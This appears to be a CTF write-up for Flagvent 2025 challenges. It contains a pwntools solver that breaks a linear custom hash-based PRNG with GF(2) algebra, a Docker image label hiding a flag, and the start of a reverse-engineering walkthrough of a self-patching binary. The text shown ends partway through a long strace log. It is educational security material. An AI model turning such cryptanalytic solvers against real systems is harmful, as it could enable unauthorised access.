import hmac
from pwn import remote, context

context.log_level = 'info'

# ============================================================
# Challenge crypto primitives (copied from chal.py)
# ============================================================

def h(b: bytes) -> bytes:
    """Custom hash function - linear over GF(2)"""
    s0 = 0x9F12A3C64D78B2E1
    s1 = 0x4C85E79A132FDB07
    s2 = 0xB7D40E9C58A3F621
    s3 = 0x21E6C8D4FA9037BB
    M = 0xFFFFFFFFFFFFFFFF

    msg = bytearray(b)
    msg.append(0x80)
    while (len(msg) % 32) != 24:
        msg.append(0)
    msg += (len(b) * 8).to_bytes(8, "little")

    for i in range(0, len(msg), 32):
        w0 = int.from_bytes(msg[i + 0 : i + 8], "little")
        w1 = int.from_bytes(msg[i + 8 : i + 16], "little")
        w2 = int.from_bytes(msg[i + 16 : i + 24], "little")
        w3 = int.from_bytes(msg[i + 24 : i + 32], "little")

        s0 ^= w0
        s1 ^= w1
        s2 ^= w2
        s3 ^= w3

        for _ in range(5):
            s0 ^= ((s1 << 13) & M) ^ (s2 >> 7)
            s1 ^= ((s2 << 17) & M) ^ (s3 >> 9)
            s2 ^= ((s3 << 29) & M) ^ (s0 >> 11)
            s3 ^= ((s0 << 5) & M) ^ (s1 >> 3)
            s0, s1, s2, s3 = s2 & M, s0 & M, s3 & M, s1 & M

    for _ in range(6):
        s0 ^= ((s1 << 9) & M) ^ (s2 >> 7)
        s1 ^= ((s2 << 7) & M) ^ (s3 >> 5)
        s2 ^= ((s3 << 11) & M) ^ (s0 >> 13)
        s3 ^= ((s0 << 3) & M) ^ (s1 >> 17)
        s0, s1, s2, s3 = s3 & M, s2 & M, s1 & M, s0 & M

    return (
        (s0 & M).to_bytes(8, "little")
        + (s1 & M).to_bytes(8, "little")
        + (s2 & M).to_bytes(8, "little")
        + (s3 & M).to_bytes(8, "little")
    )


class H:
    """Hash wrapper for HMAC compatibility"""
    block_size = 64
    digest_size = 32

    def __init__(self, data=b""):
        self._buf = bytearray()
        if data:
            self._buf.extend(data)

    def update(self, data):
        self._buf.extend(data)

    def copy(self):
        c = H()
        c._buf = bytearray(self._buf)
        return c

    def digest(self):
        return h(self._buf)


def hash256_new(data=b""):
    return H(data)


class RNG:
    """The challenge PRNG"""
    def __init__(self, seed: bytes):
        self._key = h(seed)
        self._counter = 0

    def _next_block(self):
        ctr = self._counter.to_bytes(16, "big")
        block = hmac.new(self._key, ctr, digestmod=hash256_new).digest()
        self._counter += 1
        return block

    def getrandbits(self, n):
        out = bytearray()
        while len(out) * 8 < n:
            out.extend(self._next_block())
        v = int.from_bytes(out, "big")
        return v & ((1 << n) - 1)


def seed_to_output(seed: bytes) -> int:
    """Compute the 256-bit output from a seed"""
    return RNG(seed).getrandbits(256)


# ============================================================
# Linear algebra attack over GF(2)
# ============================================================

def build_matrix():
    print("[*] Computing bias = f(0)...")
    bias = seed_to_output(bytes(30))

    print("[*] Building 256x240 matrix over GF(2)...")
    columns = []
    for bit_index in range(240):
        byte_idx = bit_index // 8
        bit_idx = bit_index % 8

        # Create basis vector e_i
        seed = bytearray(30)
        seed[byte_idx] = 1 << bit_idx

        # Column = f(e_i) ^ bias
        output = seed_to_output(bytes(seed))
        columns.append(output ^ bias)

    return bias, columns


def solve_gf2(columns, target):
    n_vars = 240
    n_eqs = 256

    rows = []
    for eq in range(n_eqs):
        row = 0
        for var in range(n_vars):
            if (columns[var] >> eq) & 1:
                row |= (1 << var)
        if (target >> eq) & 1:
            row |= (1 << n_vars)
        rows.append(row)

    pivot_row = 0
    pivot_cols = []

    for col in range(n_vars):
        found = False
        for r in range(pivot_row, n_eqs):
            if (rows[r] >> col) & 1:
                rows[pivot_row], rows[r] = rows[r], rows[pivot_row]
                found = True
                break

        if not found:
            continue

        pivot_cols.append(col)

        for r in range(n_eqs):
            if r != pivot_row and ((rows[r] >> col) & 1):
                rows[r] ^= rows[pivot_row]

        pivot_row += 1

    solution = 0
    for i, col in enumerate(pivot_cols):
        if (rows[i] >> n_vars) & 1: 
            solution |= (1 << col)

    return solution


def int_to_seed(value: int) -> bytes:
    """Convert 240-bit integer to 30-byte seed"""
    seed = bytearray(30)
    for i in range(240):
        if (value >> i) & 1:
            seed[i // 8] |= (1 << (i % 8))
    return bytes(seed)


def recover_seed(leak: int, bias: int, columns: list) -> bytes:
    """Recover seed from leaked output using linear algebra"""
    target = leak ^ bias
    solution = solve_gf2(columns, target)
    return int_to_seed(solution)


def main():
    # Step 1: Build the linear model (precomputation)
    print("[*] Building linear model...")
    bias, columns = build_matrix()
    print(f"[+] Matrix built: {len(columns)} columns, bias = {hex(bias)[:20]}...")

    # Step 2: Connect to server
    HOST = 'f553904b-8ada-4e67-a652-86fd74188336.challs.flagvent.org'
    PORT = 31337

    print(f"[*] Connecting to {HOST}:{PORT}...")
    r = remote(HOST, PORT, ssl=True)

    # Step 3: Solve 256 rounds
    for i in range(256):
        # Receive leak
        line = r.recvline().decode()
        leak = int(line.split('=')[1].strip(), 16)

        # Wait for prompt
        r.recvuntil(b'gib scheed: ')

        # Recover seed and send
        seed = recover_seed(leak, bias, columns)
        r.sendline(seed.hex().encode())

        if (i + 1) % 32 == 0:
            print(f"[+] Completed {i + 1}/256 rounds")

    # Step 4: Get flag
    flag = r.recvline().decode().strip()
    print(f"[+] Flag: {flag}")
    r.close()


if __name__ == "__main__":
    main()

Location Issues

Solving this challenge requires reaching out to the server, reading bytes, calculating the seed, and sending it back 256 times. The server is in Europe, which is an issue for me in the US:

64 bytes from static.238.10.98.91.clients.your-server.de (91.98.10.238): icmp_seq=2 ttl=255 time=134 ms

There’s a 134 ms round trip time from my host. That means that without any time for calculating on my host, it takes over 30 seconds in just transit time:

>>> 0.134 * 256
34.304

I’ll use a GitHub Codespace. In my account settings, I’ll set the Codespaces Region to Europe West:

image-20251214224518466

Then I’ll get a codespace, run pip install pwntools, and give it my script. The same script that crashes at 30 seconds works fine:

image-20251214224652642

Flag: FV25{w4sn't_th4t_h4rd_n0w_w4s_it?}

FV25.H3

Challenge

FV25.H3 - Sneaky Elves

This extra flag is hidden inside another challenge.

Categories: hiddenHIDDEN
Level: hidden
Author: hidden

Solution

The source for Day 14 comes with a Dockerfile:

FROM ghcr.io/flagvent/challenges/alpine-stable:1.0

RUN apk add socat python3 shadow --no-cache && useradd -m -r -u 1001 chal && apk del shadow

WORKDIR /app

COPY chal.py .

USER 1001

ENTRYPOINT socat tcp-l:1337,reuseaddr,fork EXEC:"python3 /app/chal.py"

This is pretty straight forward. It installs socat, Python, and shadow. Then it uses useradd (from shadow) to create a user, and then deletes the shadow package.

It sets the working directory, copies in the challenge script, sets the user, and runs it.

However, the base image is custom. Typically I would expect to see standard containers. For example, day 8 uses FROM ubuntu:24.04, day 6 has FROM node:18-slim, and day 17 has FROM rust:1.91-alpine3.20 AS build.

So what is this custom image. I’ll download it with docker pull ghcr.io/flagvent/challenges/alpine-stable:1.0, and then inspect:

oxdf@hacky$ docker inspect ghcr.io/flagvent/challenges/alpine-stable:1.0
[                                                          
    {                                                                                                                                   
        "Id": "sha256:c5abae227e2832d9f8ce0825b03cb478270528412bfe492042eefbc4855ddd9a",                               
        "RepoTags": [                                      
            "ghcr.io/flagvent/challenges/alpine-stable:1.0"                                                                             
        ],                                                                                                                              
        "RepoDigests": [                                   
            "ghcr.io/flagvent/challenges/alpine-stable@sha256:cd7da0e2ba7d337c6bf25301d9bd6fcc3205e577145a3cae4a15a42a4cca4693"                                                                                                                                                 
        ],                                                 
        "Parent": "",                                      
        "Comment": "",                                                                                                 
        "Created": "2025-12-14T13:04:40.848223781Z",                                                                                    
        "DockerVersion": "24.0.7",                         
        "Author": "",                                                                                                  
        "Architecture": "amd64",                           
        "Os": "linux",                                     
        "Size": 8442034,                                                                                                                
        "GraphDriver": {                                   
            "Data": {                                      
                "MergedDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/merged",                                                                                                                                                
                "UpperDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/diff",                                                                                                                                                   
                "WorkDir": "/var/lib/docker/overlay2/ddf2343bbd0f4cd93bb5b58f0e30399bcd66b32c35749c2df470a1d597aeac34/work"                                                                                                                                                     
            },                                             
            "Name": "overlay2"                                      
        },                                                          
        "RootFS": {                                                 
            "Type": "layers",                                       
            "Layers": [                                             
                "sha256:5aa68bbbc67e405a7cfa11466b02f1c9597add532909fb9a4d0f6f58a30b044e"                                               
            ]                                                       
        },                                                          
        "Metadata": {                                               
            "LastTagTime": "0001-01-01T00:00:00Z"                                                                                       
        },                                                          
        "Config": {                                                 
            "Cmd": [                                                
                "/bin/sh"                                           
            ],                                                      
            "Entrypoint": null,                                     
            "Env": [                                                
                "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"                                                     
            ],                                                      
            "Labels": {                                             
                "org.flagvent.hidden-flag": "FV25{h1dden_1n_d0cker}"                                                                    
            },                                                      
            "OnBuild": null,                                        
            "User": "",                                             
            "Volumes": null,                                        
            "WorkingDir": "/"                                       
        }                                                           
    }                                                               
]   

At the end in a Label there’s a hidden flag!

Flag: FV25{h1dden_1n_d0cker}

FV25.15

Challenge

FV25.15 - TTSP

While trying to modernize his ageing sledge, Santa tried to create a new navigation system but it doesn’t seem to work right…

Categories: revREV
Level: hard
Author: fabi07
Attachments:
📦 ttsp.tar.gz
Spawnable Instance: TCPTCP

The challenge includes a spawnable TCP socket that I can connect to with nc and a downloadable with a single file, chall. Connecting to the socket first prints a Christmas tree:

image-20251220140941728

On hitting enter, it prints a list of 131 cities with lat / lons, and then asks for a tour:

Locations:
North pole: (90.0, 0.0)
Deepfreeze Dock: (82.644699, 119.744265)
...[snip]...
Oakfrost: (5.760718, -119.084804)
Ribbonsnow: (11.957200, 162.543587)
Auroraville: (80.834639, -16.282719)
Quietus Snow: (-16.117116, -35.474517)
Enter tour:
0:

The binary is a Linux ELF binary:

oxdf@hacky$ file chall 
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Running it produces the same output, though the list of cities is much smaller (27).

Reverse Engineering

entry / main

I’ll open the file in Ghidra to take a look. The entry calls a setup function with calls lib_start_main (0x4033d0) with FUN_0040249b as an argument. That should be the main function, but checking it out, it’s not valid code:

image-20251220150650981

The assembly is NOPs into strings of letters:

image-20251220150716726

There’s not a lot to see here like this.

strace

Running the file with strace shows what’s happening:

oxdf@hacky$ strace ./chall
execve("./ttsp/chall", ["./ttsp/chall"], 0x7ffeb2cdfdd0 /* 68 vars */) = 0
arch_prctl(ARCH_SET_FS, 0x41a198)       = 0
set_tid_address(0x41a2d0)               = 482326
open("/proc/self/maps", O_RDONLY|O_LARGEFILE) = 3
brk(NULL)                               = 0x34357000
brk(0x34359000)                         = 0x34359000
mmap(0x34357000, 4096, PROT_NONE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x34357000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7993afcef000
read(3, "00400000-00401000 r--p 00000000 "..., 1024) = 1024
lseek(3, -776, SEEK_CUR)                = 248
close(3)                                = 0
munmap(0x7993afcef000, 4096)            = 0
mprotect(0x401000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1 RT_2], [], 8) = 0
rt_sigprocmask(SIG_BLOCK, ~[], ~[KILL STOP RTMIN RT_1 RT_2], 8) = 0
fork()                                  = 482327
rt_sigprocmask(SIG_SETMASK, ~[KILL STOP RTMIN RT_1 RT_2], NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_STOPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
ptrace(PTRACE_ATTACH, 482327)           = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_STOPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 482327
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], 0, NULL) = 482327
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGFPE, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGFPE}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce210, rbx=0x1, r11=0x246, r10=0x70, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0x405dab, rdx=0x7ffec89ce268, rsi=0x7ffec89ce258, rdi=0x1, orig_rax=0xffffffffffffffff, rip=0x4024b9, cs=0x33, eflags=0x10246, rsp=0x7ffec89ce210, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024bb, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024c3, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024b9, [0x626261616161f0f7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024b9, 0x626261616161f090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024ba, [0x62626261616161f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024ba, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bb, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bb, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bc, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bc, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bd, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bd, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024be, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024be, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024bf, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024bf, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c0, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c0, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c1, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c1, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c2, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c2, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c3, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c3, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c4, [0x164646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c4, 0x164646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c5, [0x8d01646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c5, 0x8d01646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c6, [0x168d016464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c6, 0x168d016464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c7, [0x3b168d0164646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c7, 0x3b168d0164646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c8, [0xd53b168d01646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c8, 0xd53b168d01646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024c9, [0x26d53b168d016464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024c9, 0x26d53b168d016490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x4024ca, [0x8e26d53b168d0164]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024ca, 0x8e26d53b168d0190) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024cb, [0x18e26d53b168d01]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024cb, 0xb900016af6058b48) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024d3, [0xb88e2505cd130649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024d3, 0x2ba00000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024db, [0x31c627bfcd13b849]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024db, 0x894800000000be00) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024e3, [0x33c627bf88d4ee8e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024e3, 0x8b48000045c7e8c7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024eb, [0xb88e9ebfcc79d64c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024eb, 0xb900016ad005) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024f3, [0x68e27bfcfa90649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024f3, 0xbe00000002ba0000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4024fb, [0x5049aef7cd130649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4024fb, 0xe8c7894800000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402503, [0x128bacf7cd1343e0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402503, 0xaa058b48000045a9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40250b, [0xb88e27bf74130723]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40250b, 0xb900016a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402513, [0xb88e99bfcd1304f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402513, 0xbe00000002ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40251b, [0xfd05cf78445b0649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40251b, 0x458be8c789480000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402523, [0x508e27bfcdab0649]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402523, 0xe800000000b80000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40252b, [0xb88e270732ecfcf0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40252b, 0xb8fffffab9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402533, [0xb88e27bfcdd05b49]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402533, 0xc35d00) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce210, rbx=0x1, r11=0x246, r10=0x70, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0x405dab, rdx=0x7ffec89ce268, rsi=0x7ffec89ce258, rdi=0x1, orig_rax=0xffffffffffffffff, rip=0x4024cb, cs=0x33, eflags=0x10246, rsp=0x7ffec89ce210, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGFPE, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGFPE}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x448, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402035, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402037, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40203f, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402035, [0x626261616161f0f7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402035, 0x626261616161f090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402036, [0x62626261616161f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402036, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402037, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402037, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402038, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402038, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402039, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402039, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203a, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203a, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203b, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203b, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203c, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203c, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203d, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203d, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203e, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203e, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40203f, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40203f, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402040, [0x64646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402040, 0x64646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402041, [0xc100646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402041, 0xc100646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402042, [0xd1c1006464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402042, 0xd1c1006464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402043, [0xe5d1c10064646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402043, 0xe5d1c10064646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402044, [0xbbe5d1c100646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402044, 0xbbe5d1c100646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402045, [0x27bbe5d1c1006464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402045, 0x27bbe5d1c1006490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402046, [0x8e27bbe5d1c10064]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402046, 0x8e27bbe5d1c10090) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402047, [0x898e27bbe5d1c100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402047, 0x3100000428c2c749) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40204f, [0xd9ef46dec61c9689]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40204f, 0x616161610b0f90c0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402057, [0xdbed44dcaf71642b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402057, 0x6363636362626262) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40205f, [0xab4fe3f5a977622d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40205f, 0x13c1c44a64646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402067, [0xbb07437cfb14014a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402067, 0x38964c336070703) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206f, [0xd9ef46deab75602f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206f, 0x6161616166666666) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402077, [0xdfe940d8a977622d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402077, 0x6767676764646464) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207f, [0xbca943dba3559bfc]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207f, 0x42764646e469db5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402087, [0x9592ee55671a2da7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402087, 0x2d1cc9eaaa092bee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208f, [0x56597a02b345839c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208f, 0xeed75dbd7e5685d5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402097, [0xf683004ce0fc6846]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402097, 0x4e0d27f32def6e0f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209f, [0xe46e99925d670f1e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209f, 0x5ce0be2d90740957) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a7, [0xb36b44b1308f9b72]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a7, 0xbe5630efd9c9d3b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020af, [0xac145399c7558fbf]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020af, 0x149a74260a4689f6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b7, [0xf14a75e6a4534983]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b7, 0x49c4525969404fca) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bf, [0x318ac5b083960937]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bf, 0x8904e20f4e850f7e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c7, [0x1cddc7906adb8667]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c7, 0xa453e02fa7c8802e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cf, [0x5887db2140a714f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cf, 0xe009fc9e8db412b9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d7, [0xc5d2971f30fe4be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d7, 0xb4d30ece3e1ce2f7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020df, [0x5dae215fa3150bf7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020df, 0xe52006e06e060dbe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020e7, [0xf8e87fcf983dec29]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020e7, 0x40665870552eea60) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ef, [0x1d53dd9820135896]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ef, 0xa5ddfa27ed005edf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020f7, [0x92cc23be7fa6bb7a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020f7, 0x2a420401b2b5bd33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020ff, [0xea43b6d1cdb5d73f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020ff, 0x52cd916e00a6d176) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402107, [0x7f5dc19b52c51776]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402107, 0xc7d3e6249fd6113f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210f, [0x5f07ec1f5fb0641d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210f, 0xe789cba092a36254) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402117, [0x2695a0e10bd5f160]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402117, 0x9e1b875ec6c6f729) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211f, [0xbaf0d33e441d772]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211f, 0xb3212a8c2952d13b) = 0
